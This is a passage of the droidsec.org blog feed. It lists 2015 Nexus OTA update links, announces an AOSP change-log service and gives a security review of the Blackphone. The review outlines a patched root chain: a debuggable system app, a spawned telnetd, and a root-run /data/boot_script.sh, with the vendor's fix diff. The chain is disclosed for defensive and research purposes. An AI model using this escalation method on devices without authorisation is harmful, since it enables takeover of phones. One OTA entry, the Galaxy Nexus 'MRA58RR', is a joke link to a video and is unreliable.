Nexus 6 (AT&amp;amp;T) MRA58K from LMY48W&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;Nexus 9 (LTE) &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_flounderlte_volantisg/2e4ad6182340514f79ce432e3b430e51ae4f9311.signed-volantisg-LMY48T-from-LMY48M.zip&quot;&gt;LMY48T from LMY48M&lt;/a&gt; (credit: Android Police / vmlinuz)&lt;br /&gt;
Nexus 9 (LTE) &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_flounderlte_volantisg/8c5d8d25100cf9665e4e962d4db643922e78ab3d.signed-volantisg-MRA58K-from-LMY48T.zip&quot;&gt;MRA58K from LMY48T&lt;/a&gt; (credit: Android Police / vmlinuz)&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;Nexus 9 (Wi-Fi) &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_flounder_volantis/123e39b2b8d3dbad2fde1b0d229c23c31b26824b.signed-volantis-LMY48T-from-LMY48M.zip&quot;&gt;LMY48T from LMY48M&lt;/a&gt;&lt;br /&gt;
Nexus 9 (Wi-Fi) &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_flounder_volantis/ab835e17c874202049463ccd916f86fede83199e.signed-volantis-MRA58K-from-LMY48T.zip&quot;&gt;MRA58K from LMY48T&lt;/a&gt; (credit: Android Police / vmlinuz)&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;Nexus 7 2013 (Wi-Fi) &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_razor/2b4aa3ddb3b13c5d7f60f002b5fa350c654ca548.signed-razor-LMY48T-from-LMY48M.zip&quot;&gt;LMY48T from LMY48M&lt;/a&gt;&lt;br /&gt;
Nexus 7 2013 (Wi-Fi) &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_razor/a70592f3ba3a646df309b2e026f22bfb016225be.signed-razor-MRA58K-from-LMY48M.zip&quot;&gt;MRA58K from LMY48M&lt;/a&gt;&lt;br /&gt;
Nexus 7 2013 (Wi-Fi) MRA58K from LMY48T&lt;br /&gt;
Nexus 7 2013 (Mobile) &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_razorg/a5403c214fd3ca44b15123d18ae5fb6800e126ce.signed-razorg-LMY48U-from-LMY48P.zip&quot;&gt;LMY48U from LMY48P&lt;/a&gt;&lt;br /&gt;
Nexus 7 2013 (Mobile) &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_razorg/1ddb72f55a271f0f27cfe0768fc2965c0f508dc4.signed-razorg-MRA58K-from-LMY48P.zip&quot;&gt;MRA58K from LMY48P&lt;/a&gt; (credit: Android Police / vmlinuz)&lt;br /&gt;
Nexus 7 2013 (Mobile) MRA58K from LMY48U&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;The following devices did not receive a 5.1.1 update this time around. Instead they are moving directly to 6.0.0.&lt;/p&gt;

&lt;p&gt;Nexus Player &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_fugu_fugu/ace8803d575c35204e9cd36c4eea2a45bc8c620b.signed-fugu-MRA58K-from-LMY48N.zip&quot;&gt;MRA58K from LMY48N&lt;/a&gt;&lt;br /&gt;
Nexus 5 (GSM/LTE) &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_hammerhead/8f8cc12f7a9d7561be21f95914f289bda86e402b.signed-hammerhead-MRA58K-from-LMY48M.zip&quot;&gt;MRA58K from LMY48M&lt;/a&gt;&lt;br /&gt;
Galaxy Nexus (LTE) &lt;a href=&quot;https://www.youtube.com/watch?v=dQw4w9WgXcQ&quot;&gt;MRA58RR from JDQ39&lt;/a&gt; (credit Android Police)&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;The following devices will not be updated to 6.0.0 and instead received only a 5.1.1 update this cycle.&lt;/p&gt;

&lt;p&gt;Nexus 10 &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_mantaray/809acf47d26afc99279e5295bbb8baac2bc7a140.signed-mantaray-LMY48T-from-LMY48M.zip&quot;&gt;LMY48T from LMY48M&lt;/a&gt;&lt;br /&gt;
Nexus 4 &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_mako/1859590902ebe51fb4c49c86009b2d0ac2c8b445.signed-occam-LMY48T-from-LMY48M.zip&quot;&gt;LMY48T from LMY48M&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;Devices older than, and including, the 2012 Nexus 7 are no longer supported. Please, for the sake of Internet security, upgrade to a newer device!&lt;/p&gt;

&lt;p&gt;Best of luck to you and cheers to a continued focus on providing regular, timely security updates!&lt;/p&gt;

&lt;p&gt;Thanks to Android Police and all of their users for their corresponding “Flash All The Things” posts &lt;a href=&quot;http://www.androidpolice.com/2015/10/06/flash-all-the-things-android-6-0-marshmallow-nexus-ota-roundup/&quot;&gt;1&lt;/a&gt;, &lt;a href=&quot;http://www.androidpolice.com/2015/10/15/flash-all-the-things-android-6-0-marshmallow-nexus-ota-roundup/&quot;&gt;2&lt;/a&gt;.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Faster Nexus Updates! September 2015 OTA Links</title>
   <link href="http://www.droidsec.org/news/2015/09/16/nexus-update-september-2015.html"/>
   <updated>2015-09-16T17:00:00+00:00</updated>
   <id>http://www.droidsec.org/news/2015/09/16/nexus-update-september-2015</id>
   <content type="html">&lt;p&gt;Back in August, Google and other ODMs made some strong commitments to start pushing out security updates more quickly and more often. The very first 30-day period following this event just occurred and we saw what we’d hoped. Google released Nexus updates right on time. Further, the Android security team started releasing public bulletins too! You can see their &lt;a href=&quot;https://groups.google.com/forum/#!topic/android-security-updates/Ugvu3fi6RQM&quot;&gt;August&lt;/a&gt; and &lt;a href=&quot;https://groups.google.com/forum/#!topic/android-security-updates/1M7qbSvACjo&quot;&gt;September&lt;/a&gt; bulletins at their respective locations. On the ODM side, we have seen improvements but many ODMs and carriers seem to be struggling. It’s still early though, so the jury is still out. I’m sure they are all working very hard to make the necessary process improvements to meet the 30-day patch cycle.&lt;/p&gt;

&lt;p&gt;That brings me to my next point. I don’t believe security conscious people should have to compete in some random chance lottery to update their devices. In fact, I’m a huge proponent of a subscription-based or invite-only early access program for updates. I think getting fresh updates into the hands of the most savvy users would pay dividends. Even without such programs, I’m pleased to be able to assist everyone in updating their devices without having to wait for your number to come up. We’ll try to do this more in the future, time permitting of course.&lt;/p&gt;

&lt;p&gt;So… In the spirit of empowering all of you, I present the OTA links you all know and love. Sorry I didn’t find the time to execute on this project sooner.&lt;/p&gt;

&lt;p&gt;Anyway, enjoy!&lt;/p&gt;

&lt;h3 id=&quot;ota-update-urls-for-currently-supported-nexus-devices&quot;&gt;OTA Update URLs for Currently Supported Nexus Devices&lt;/h3&gt;

&lt;p&gt;Nexus 6 (Global) &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_shamu_shamu/4458964f84d2e44ecd2c1c31c301d47eec4b080e.signed-shamu-LMY48M-from-LMY48I.4458964f.zip&quot;&gt;LMY48M from LMY48I&lt;/a&gt;&lt;br /&gt;
Nexus 6 (T-Mobile) &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_shamu_shamu/2888e222d3aaa1f60dea879699188fdd612e51c2.signed-shamu-LYZ28K-from-LYZ28J.2888e222.zip&quot;&gt;LYZ28K from LYZ28J&lt;/a&gt;&lt;br /&gt;
Nexus 6 (Project Fi) &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_shamu_shamu/2bef78c4a5ec8dbaa3df9d94e78af8622cd2a394.signed-shamu-LVY48F-from-LVY48E.2bef78c4.zip&quot;&gt;LVY48F from LVY48E&lt;/a&gt;&lt;br /&gt;
Nexus Player &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_fugu_fugu/83823a857d5fe340d0f32c3e4822e89c23365102.signed-fugu-LMY48N-from-LMY48J.83823a85.zip&quot;&gt;LMY48N from LMY48J&lt;/a&gt;&lt;br /&gt;
Nexus 9 (LTE)  &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_flounderlte_volantisg/fd894caaba908542f3c60f677b1903852575da34.signed-volantisg-LMY48M-from-LMY48I.fd894caa.zip&quot;&gt;LMY48M from LMY48I&lt;/a&gt;&lt;br /&gt;
Nexus 9 (Wi-Fi) &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_flounder_volantis/a8f87fa059f17f2fd4cd773921e888366b1dfa0e.signed-volantis-LMY48M-from-LMY48I.a8f87fa0.zip&quot;&gt;LMY48M from LMY48I&lt;/a&gt;&lt;br /&gt;
Nexus 5 (GSM/LTE) &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_hammerhead/79fa6114014596ec7891b0a1bae233f0e7a288f7.signed-hammerhead-LMY48M-from-LMY48I.79fa6114.zip&quot;&gt;LMY48M from LMY48I&lt;/a&gt;&lt;br /&gt;
Nexus 7 2013 (Wi-Fi) &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_razor/15f5c6d8a15e3e7f4c65ad1595ac406d8d3c23cf.signed-razor-LMY48M-from-LMY48I.15f5c6d8.zip&quot;&gt;LMY48M from LMY48I&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;NOTE: Appears to be a two-stage update. It’s not clear why, maybe you know or want to look into it =)&lt;br /&gt;
Nexus 7 2013 (Mobile) &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_razorg/0681bd17c9f036ec22caf223441b065165a0cdb3.signed-razorg-LMY48L-from-LMY47V.0681bd17.zip&quot;&gt;LMY48L from LMY47V&lt;/a&gt; and &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_razorg/1b2ee5fc2f576782f3ba9f2de5ca9aeac6cf5006.signed-razorg-LMY48P-from-LMY48L.1b2ee5fc.zip&quot;&gt;LMY48P from LMY48L&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;Nexus 10 &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_mantaray/dfbae27e253019565ecf181a4b69e08d9ebcbb31.signed-mantaray-LMY48M-from-LMY48I.dfbae27e.zip&quot;&gt;LMY48M from LMY48I&lt;/a&gt;&lt;br /&gt;
Nexus 4 &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_mako/b84572d4664d1b06754b4313565cfcf1919094f6.signed-occam-LMY48M-from-LMY48I.b84572d4.zip&quot;&gt;LMY48M from LMY48I&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;Devices older than, and including, the 2012 Nexus 7 are no longer supported. Please, for the sake of Internet security, upgrade to a newer device!&lt;/p&gt;

&lt;p&gt;Best of luck to you and cheers to a renewed focus on providing security updates!&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>AOSP Changes and Status Update</title>
   <link href="http://www.droidsec.org/news/2015/03/11/aosp-changelogs-now-available.html"/>
   <updated>2015-03-11T17:00:00+00:00</updated>
   <id>http://www.droidsec.org/news/2015/03/11/aosp-changelogs-now-available</id>
   <content type="html">&lt;p&gt;Recently, &lt;a href=&quot;https://funkyandroid.com/&quot;&gt;Funky Android Ltd&lt;/a&gt; &lt;a href=&quot;https://twitter.com/funkyandroid/status/573414471688978432&quot;&gt;closed up shop&lt;/a&gt;.
As a result, the Android developer and security communities lost a valuable resource that Funky Android provided — their AOSP developer change logs.
Since we were avid consumers of this service, we decided to stand up our own version under a new sub-domain.
Without further adieu, we are pleased to present &lt;a href=&quot;http://changes.droidsec.org/&quot;&gt;AOSP Changes&lt;/a&gt;, brought to you by the droidsec team!
We’ve primed the set with a few recent change sets. If you’re interested in others, please &lt;a href=&quot;https://github.com/droidsec/droidsec.github.io/issues&quot;&gt;open an issue&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;By the way, if you haven’t noticed member Gunther and I have been hard at work cleaning up and expanding the &lt;a href=&quot;/wiki/&quot;&gt;Wiki&lt;/a&gt; too.
Founder jduck migrated the Wiki from the traditional Github Wiki and integrated it with the main Web site layout.
Following that, Gunther has been adding quite a bit of content with more to come.
Keep your eyes peeled and hold on your seat belt on because further changes there seem inevitable.
If you’re interested in helping, feel free to fork, make changes, and send a pull request!&lt;/p&gt;

&lt;p&gt;There are some big changes and projects on the horizon for droidsec. Subscribe to the feed to be one of the first to know!&lt;/p&gt;

&lt;p&gt;Onward!&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Thoughts after a Month with Blackphone</title>
   <link href="http://www.droidsec.org/news/2014/09/30/thoughts-after-a-month-with-blackphone.html"/>
   <updated>2014-09-30T15:00:00+00:00</updated>
   <id>http://www.droidsec.org/news/2014/09/30/thoughts-after-a-month-with-blackphone</id>
   <content type="html">&lt;p&gt;About a month ago, I decided to order a Blackphone.
The product web site makes some tall claims about security, even calling it a “secure smartphone.”
This kind of proclamation is rather bold, perhaps even disingenuous, and often leads to intense scrutiny in the security community.
For example, consider the the response to &lt;a href=&quot;http://www.cnet.com/news/oracle-unbreakable-no-more/&quot;&gt;Oracle calling their product “Unbreakable.”&lt;/a&gt;
I’m a bit of a skeptic, so over the last month I’ve spent some of my free time researching Blackphone as a company and evaluating the security of its flagship smartphone.
I wrote this post to present some of my observations and the opinions formed as a result of my research.&lt;/p&gt;

&lt;p&gt;Before diving in, I want to point out that I’m not the first person to take a look at Blackphone.
The device was announced in January and was finally made available in June.
At that time, Ars Technica &lt;a href=&quot;http://arstechnica.com/security/2014/06/exclusive-a-review-of-the-blackphone-the-android-for-the-paranoid/&quot;&gt;reviewed a pre-release version of the device&lt;/a&gt; and their review was &lt;a href=&quot;https://www.schneier.com/blog/archives/2014/06/blackphone.html&quot;&gt;cross-posted on Bruce Schneier’s blog&lt;/a&gt;.
In August, Blackphone had a booth in the DEF CON 22 vendor area and the CSO even did &lt;a href=&quot;https://www.youtube.com/watch?v=dbtSNAD4JJY&quot;&gt;an interview discussing the device&lt;/a&gt;.
At that event, fellow droidsec researcher jcase bought a Blackphone and subsequently &lt;a href=&quot;https://twitter.com/TeamAndIRC/status/498257627176923137&quot;&gt;rooted it on the same day&lt;/a&gt;.
After Black Hat/DEF CON, companies like &lt;a href=&quot;https://blog.malwarebytes.org/hackedunpacked/2014/08/blackphone-privacy-centric-device/&quot;&gt;Malwarebytes&lt;/a&gt;, &lt;a href=&quot;https://bluebox.com/blog/technical/blackphone-review-security-and-privacy/&quot;&gt;Bluebox&lt;/a&gt;, and &lt;a href=&quot;https://www.viaprotect.com/blog/blackphone-security-cert-pinning/&quot;&gt;viaForensics&lt;/a&gt; have since posted their takes on the device.
These articles and myriad of associated reader comments raise many valid points; many of which echo my own sentiments.&lt;/p&gt;

&lt;p&gt;I purchased the Blackphone shortly after returning from DEF CON.
It shipped directly from Hong Kong and arrived in only two days!
Once it arrived, I quickly added it to the &lt;a href=&quot;http://www.accuvant.com/labs/research/researching-android-device-security-with-the-help-of-a-droid-army&quot;&gt;droid&lt;/a&gt; &lt;a href=&quot;https://www.blackhat.com/us-14/archives.html#Drake&quot;&gt;army&lt;/a&gt; and starting taking a look.&lt;/p&gt;

&lt;h2 id=&quot;getting-root&quot;&gt;Getting Root&lt;/h2&gt;

&lt;p&gt;My first order of business, as is the case with any new device, was to get root on the device.
It shipped with PrivatOS 1.0.1, which left it vulnerable to the chain of bugs jcase used to root Blackphone at DEF CON.
The steps in reproducing this method are as follows:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Enable third-party app installs&lt;/li&gt;
  &lt;li&gt;Host/install an &lt;a href=&quot;https://twitter.com/TeamAndIRC/status/498589122458427392&quot;&gt;apk that pops the debugging menu&lt;/a&gt; (be sure to set Content-type)&lt;/li&gt;
  &lt;li&gt;Run the app and enable USB debugging&lt;/li&gt;
  &lt;li&gt;Use &lt;strong&gt;adb jdwp&lt;/strong&gt; with &lt;strong&gt;jdb&lt;/strong&gt; to &lt;a href=&quot;https://twitter.com/TeamAndIRC/status/498589595177467904&quot;&gt;debug the “remotewipe” system app&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Inject some code to spawn &lt;strong&gt;telnetd&lt;/strong&gt; as &lt;em&gt;system&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;Find a way to get from &lt;em&gt;system&lt;/em&gt; to &lt;em&gt;root&lt;/em&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;I made fairly short order of reproducing the first five steps of the path to root, leaving me with &lt;em&gt;system&lt;/em&gt; privileges.
The last part involved getting &lt;em&gt;root&lt;/em&gt; from the &lt;em&gt;system&lt;/em&gt; account.
jcase didn’t disclose his method for achieving this, so I started auditing to find my own way.
It didn’t take long before I found what I was looking for.&lt;/p&gt;

&lt;p&gt;The following excerpt from &lt;strong&gt;/init.qvs.rc&lt;/strong&gt; illustrates the problem.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;service boot_script /data/boot_script.sh
        oneshot
        user root
        disabled
[...]
on property:sys.boot_completed=1
[...]
        start boot_script
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;On Android, the &lt;em&gt;system&lt;/em&gt; user owns the &lt;strong&gt;/data&lt;/strong&gt; directory and therefore can easily create the &lt;strong&gt;/data/boot_script.sh&lt;/strong&gt; shell script.
On the next boot, &lt;strong&gt;init&lt;/strong&gt; will execute the script as &lt;em&gt;root&lt;/em&gt;.
This allows not only escalating privileges from &lt;em&gt;system&lt;/em&gt; to &lt;em&gt;root&lt;/em&gt;, but also allows persisting &lt;em&gt;root&lt;/em&gt; access across subsequent vulnerable system updates.
I was able to use this issue to keep root access even after installing the PrivatOS 1.0.2 and 1.0.3 updates.&lt;/p&gt;

&lt;h3 id=&quot;reporting-the-issue&quot;&gt;Reporting the Issue&lt;/h3&gt;

&lt;p&gt;I reported the issue on August 25th and it was quickly acknowledged.
A fix was released as part of PrivatOS 1.0.4 on September 9th.
The Blackphone staff fixed the issue within 14 days and graciously credited me in their &lt;a href=&quot;https://support.blackphone.ch/customer/portal/articles/1684699-privatos-1-0-4-release-notes&quot;&gt;release notes&lt;/a&gt;.
Such a short turn around is pretty impressive for a security issue in the initial ramdisk of a smartphone.
The fix for the issue is as follows:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-diff&quot; data-lang=&quot;diff&quot;&gt;&lt;span class=&quot;gh&quot;&gt;diff -ubr 1.0.3/boot/root/init.ceres.rc 1.0.4/boot/root/init.ceres.rc
&lt;/span&gt;&lt;span class=&quot;gd&quot;&gt;--- 1.0.3/boot/root/init.ceres.rc       2014-08-26 19:46:49.029329552 -0500
&lt;/span&gt;&lt;span class=&quot;gi&quot;&gt;+++ 1.0.4/boot/root/init.ceres.rc       2014-09-09 14:06:38.526742249 -0500
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;@@ -591,9 +591,6 @@&lt;/span&gt;
     user system
     group system inet net_admin

-# Customers should remove this line
&lt;span class=&quot;gd&quot;&gt;-import init.qvs.rc
-
&lt;/span&gt; # log save to files
 service nvlog_to_file /system/bin/nvlog_to_file.sh
     class main
&lt;span class=&quot;p&quot;&gt;Only in 1.0.3/boot/root: init.qvs.rc&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;reflecting-on-exploited-issues&quot;&gt;Reflecting on Exploited Issues&lt;/h3&gt;

&lt;p&gt;Although Blackphone fixed these issues quickly, it’s unclear why they shipped in the first place.
The excerpt above included removing a comment that says, “Customers should remove this line”.
This comment was likely left by NVIDIA, the System-on-Chip (SoC) manufacturer who provides the Board Services Platform (BSP) for this device.&lt;/p&gt;

&lt;p&gt;In steps 4 and 5, I exploited a security issue reported by Sebastián and Marco from viaForensics (also droidsec members).
jcase independently discovered and exploited this same bug at DEF CON 22.
The root cause of the issue was that Blackphone shipped a system app that was debuggable.
It’s quite unfortunate actually, because the &lt;a href=&quot;https://source.android.com/compatibility/cts-intro.html&quot;&gt;Android Compatibility Test Suite (CTS)&lt;/a&gt; would find this type of security issue quickly.&lt;/p&gt;

&lt;p&gt;Unfortunately, the staff at Blackphone didn’t catch these issues on their own.
The presence of such issues is distressing.
A solid Security Development Lifecycle (SDL) should make the likelihood of such issues small.
Perhaps Blackphone doesn’t have an SDL, or perhaps they just missed these issues.
In any case, the fact that such rookie mistakes shipped detracts from Blackphone’s security claims.&lt;/p&gt;

&lt;h2 id=&quot;differences-from-androidaosp&quot;&gt;Differences from Android/AOSP&lt;/h2&gt;

&lt;p&gt;After rooting the device, I began investigating exactly what changes Blackphone made to Android/AOSP to make their device more secure and/or private.
People have been making a bit of stink about this &lt;a href=&quot;https://twitter.com/McGrewSecurity/status/505366191146536960&quot;&gt;on Twitter&lt;/a&gt; and in reader comments on various articles.
Most of Blackphone’s responses point to process differences like quicker patching rather than hardening or increased privacy features.
Keep in mind that although some of the differences from other Android devices are apparent, they aren’t necessarily differences from AOSP.&lt;/p&gt;

&lt;h3 id=&quot;privatos-is-not-open-source&quot;&gt;PrivatOS is NOT Open Source&lt;/h3&gt;

&lt;p&gt;Unfortunately, Blackphone has not made any of their source code for PrivatOS available; despite &lt;a href=&quot;http://mashable.com/2014/01/15/blackphone/&quot;&gt;making promises to make Blackphone “open source all the way.”&lt;/a&gt;
They made the &lt;a href=&quot;https://github.com/sgp-blackphone/Blackphone-BP1-Kernel&quot;&gt;source to their Linux kernel&lt;/a&gt; available, which they are legally encumbered to do due to GPL.
Much of the code in AOSP is released under a BSD or Apache license, which does not have this legal requirement.
I’m not terribly surprised given the fact that Silent Circle, one the companies behind Blackphone, also &lt;a href=&quot;http://www.quora.com/Will-Silent-Circle-silence-critics-who-demand-they-uphold-their-promise-to-release-their-source-code-If-not-can-they-be-trusted&quot;&gt;was very slow to keep their open source promise&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The reasons for not releasing code are unclear.
Perhaps the bureaucracy that plagues the mobile operating system ecosystem is rearing its ugly head.
The cause could be internal logistics issues, NVIDIA holding them back, or an attempt to protect company IP.
Whatever the case, the important thing to realize is that keeping the code closed hurts Blackphone.&lt;/p&gt;

&lt;p&gt;Opening the source code will increase trust in the Blackphone product and the company behind it.
“Many eyes” arguments aside, auditing open source software is easier than reverse engineering.
For example, in June 2013 &lt;a href=&quot;http://blog.azimuthsecurity.com/2013/06/attacking-crypto-phones-weaknesses-in.html&quot;&gt;Azimuth Security reviewed&lt;/a&gt; the open source ZRTP library used by Silent Circle’s apps.
They identified several vulnerabilities which were subsequently fixed.
Without taking a look at the Blackphone code, we don’t know if they introduced additional security issues, which is unfortunately common for Android device manufacturers.
The ideal way to review these changes from AOSP would be to compare the source code against Android 4.4.2.
Without the code, the amount of reverse engineering time and effort required is enough to dissuade most researchers (including me, so far).
Apart from making auditing easier, opening the source code greatly improves transparency.
Researchers and analysts can easily review the code to verify no backdoors are present.&lt;/p&gt;

&lt;h3 id=&quot;not-android-compatible&quot;&gt;Not Android Compatible&lt;/h3&gt;

&lt;p&gt;Although Blackphone is based on Android 4.4.2 from AOSP, it is not &lt;a href=&quot;https://source.android.com/faqs.html#compatibility&quot;&gt;Android compatible&lt;/a&gt;. 
That means Blackphone isn’t allowed to use the Android name and cannot ship with access to Google Play.
The former is largely unimportant, but the latter actually has interesting security ramifications – both good and bad.&lt;/p&gt;

&lt;p&gt;Excluding Google Play, or any other app store for that matter, removes a huge attack surface.
In fact, in Blackphone’s default configuration, you can’t install apps at all.
I think this is fantastic.
&lt;strong&gt;After all, installing an app is effectively equivalent to giving the author of that app a shell account on your most personal machine.&lt;/strong&gt;
Nobody would give a complete stranger a shell, now would they?&lt;/p&gt;

&lt;p&gt;On the flip side, not having access to Google Play means Blackphone doesn’t benefit from the resources that Play provides.
Features like automatic app updates, &lt;a href=&quot;https://jon.oberheide.org/blog/2010/06/25/remote-kill-and-install-on-google-android/&quot;&gt;remote kill&lt;/a&gt;, and other ecosystem wide mitigation potential.
Further, it probably means Play Services and Google Cloud Messaging are not present, which may break apps that depend on those features.
Omitting this feature effectively separates Blackphone from the rest of the Android ecosystem; for better and for worse.&lt;/p&gt;

&lt;p&gt;Not going the “compatible” route also means that Blackphone probably doesn’t have access to the Open Handset Alliance.
While not much has been stated publicly about the OHA since its inception, it is believed to be the channel through which Google and other Android OEMs share important vulnerability information.
Not having access to privately reported vulnerability advisories and code fixes ahead of time puts Blackphone at a slight disadvantage.
Because disclosure practices are so terrible in the Android ecosystem, Blackphone may miss out on important fixes entirely.&lt;/p&gt;

&lt;h3 id=&quot;considerations-of-forking-aosp&quot;&gt;Considerations of Forking AOSP&lt;/h3&gt;

&lt;p&gt;As a fork of AOSP, Blackphone’s PrivatOS incurs significant maintenance costs but can also realize some amazing benefits.
Standing at over 25 gigabytes of source code, backporting patches can be a nightmare.
This is probably the biggest reasons that OEMs and carriers take so long to release firmware updates.
In some cases, difficulties arise resulting in such updates being scrapped and never released at all.&lt;/p&gt;

&lt;p&gt;Just think of the insane amount of code that will change when Android L is finally released.
To remain secure, Blackphone will have to do one of two things.
Option one is to comb through all released changes and backport security relevant fixes.
This applies to not only Android-specific projects, but also to external projects that are included in AOSP like OpenSSL and WebKit/Blink/Chromium.
Failure to do so could leave Blackphone users susceptible to publicly disclosed security issues such as those regularly published on the &lt;a href=&quot;http://googlechromereleases.blogspot.com/&quot;&gt;Google Chrome Releases&lt;/a&gt; blog.
For example, &lt;a href=&quot;http://googlechromereleases.blogspot.com/2014/08/stable-channel-update_26.html&quot;&gt;the stable channel update on August 26&lt;/a&gt; fixed over eight security issues, four of which were rated High and one rated Critical.
Blackphone will need to review such changes and keep their fork updated to keep users secure.
This is no small feat.&lt;/p&gt;

&lt;p&gt;Now, the awesome part of being a fork is that they can do this &lt;strong&gt;quicker&lt;/strong&gt; than Google itself.
Being decoupled from AOSP, they don’t have to wait for Google’s fix to come down in the next major version release.
This is something that Blackphone is already doing, and doing fairly well.
For example, they were able to fix serious vulnerabilities like &lt;a href=&quot;https://bluebox.com/technical/android-fake-id-vulnerability/&quot;&gt;FakeID&lt;/a&gt; and &lt;a href=&quot;https://hackerone.com/reports/13388&quot;&gt;futex&lt;/a&gt;/&lt;a href=&quot;https://towelroot.com/&quot;&gt;Towelroot&lt;/a&gt; on their own, accelerated time line.
This is certainly a good thing, but as mentioned earlier in this section, the sheer amount of code to track and maintain remains a herculean challenge.&lt;/p&gt;

&lt;h3 id=&quot;observed-changes&quot;&gt;Observed Changes&lt;/h3&gt;

&lt;p&gt;While using the Blackphone, the following changes from AOSP were observed:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;The bootloader on the Blackphone is easily unlockable, but immediately re-locks itself after booting up.
This is annoying when developing, but is a great feature for those that might forget to re-lock the bootloader.&lt;/li&gt;
  &lt;li&gt;The recovery mode on the device appears changed, but it’s not clear how exactly at this point.
First off, it’s difficult to get into.
To do so, you have to use “adb reboot recovery” or quickly hit Vol-Up and Vol-Dn after powering the device on.
Once you get in to recovery mode, the buttons don’t appear to do anything at all.
This means no sideloading updates and so on.&lt;/li&gt;
  &lt;li&gt;Permissions handling code within the Android Framework must have been modified to support the Permissions Privacy feature.
This is presumably the biggest change that Blackphone has made to AOSP.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It’s important to note that these changes have not been verified by comparing code to AOSP or otherwise; mostly because the source code is not available.
This is by no means a complete list of changes, or even possible changes.
I am leaving a more in-depth review for a later date or an exercise to the reader.&lt;/p&gt;

&lt;h2 id=&quot;bug-bounty-program&quot;&gt;Bug Bounty Program&lt;/h2&gt;

&lt;p&gt;On September 23rd, Blackphone &lt;a href=&quot;https://blog.blackphone.ch/2014/09/23/blackphones-bug-bounty-program/&quot;&gt;announced their bug bounty program&lt;/a&gt;.
Surprisingly, this is &lt;strong&gt;the first Bug Bounty program for any Android-based smartphone&lt;/strong&gt;.
Although Google’s Patch Rewards Program (PRP) covers AOSP, it is focused on hardening and does not reward for individual vulnerability reports/fixes.
Chrome offers a bug bounty, which covers Chrome for Android, but that’s a far cry from paying for bugs in the entire Android OS.&lt;/p&gt;

&lt;p&gt;Previously, Blackphone publicly &lt;a href=&quot;https://gigaom.com/2014/09/23/hackers-will-get-paid-for-finding-blackphone-flaws-after-all/&quot;&gt;stated that they were against Bug Bounties&lt;/a&gt;.
In fact, CEO Toby Weir-Jones &lt;a href=&quot;http://arstechnica.com/security/2014/08/blackphone-goes-to-def-con-and-gets-hacked-sort-of/&quot;&gt;told Ars Technica that “bug bounties are contrary to the company’s philosophy.”&lt;/a&gt;
Although it’s strange that they have changed their mind, I welcome and applaud their new approach.
Working with the security research community at large and compensating researchers for their time is the right move.&lt;/p&gt;

&lt;h2 id=&quot;conclusions&quot;&gt;Conclusions&lt;/h2&gt;

&lt;p&gt;After only a little over a month with a Blackphone, I’ve gotten a feel for the device, the company behind it, and the software that it runs.
Along the way, I noticed several differences to most other Android-based devices.
I tried to discern whether or not the device lives up to its claims of being focused on security and privacy.
While I made some headway in this, I think there is much left to be done.&lt;/p&gt;

&lt;p&gt;When it comes to security, I feel that Blackphone’s claims are overstated.
Blackphone made several rookie mistakes when shipping their device, one of which was completely avoidable by simply running the Android CTS.
Further, the Blackphone contains no additional OS or kernel hardening features when compared against other Android devices.
Comparing the device against Samsung’s Galaxy S5, Blackphone lags quite a bit behind.&lt;/p&gt;

&lt;p&gt;Of course, it’s not all bad news.
Their commitment to fast patching, which I’ve witnessed first hand, deserves great acclaim and is a refreshing improvement over the rest of the Android ecosystem.
With the addition of their bug bounty program, they are poised to truly make a difference by leveraging the community at large.
Blackphone still has security challenges to conquer, but they seem to be headed in the right direction.&lt;/p&gt;

&lt;p&gt;I would be remiss if I didn’t point out Blackphone’s flakiness when it comes to keeping their word.
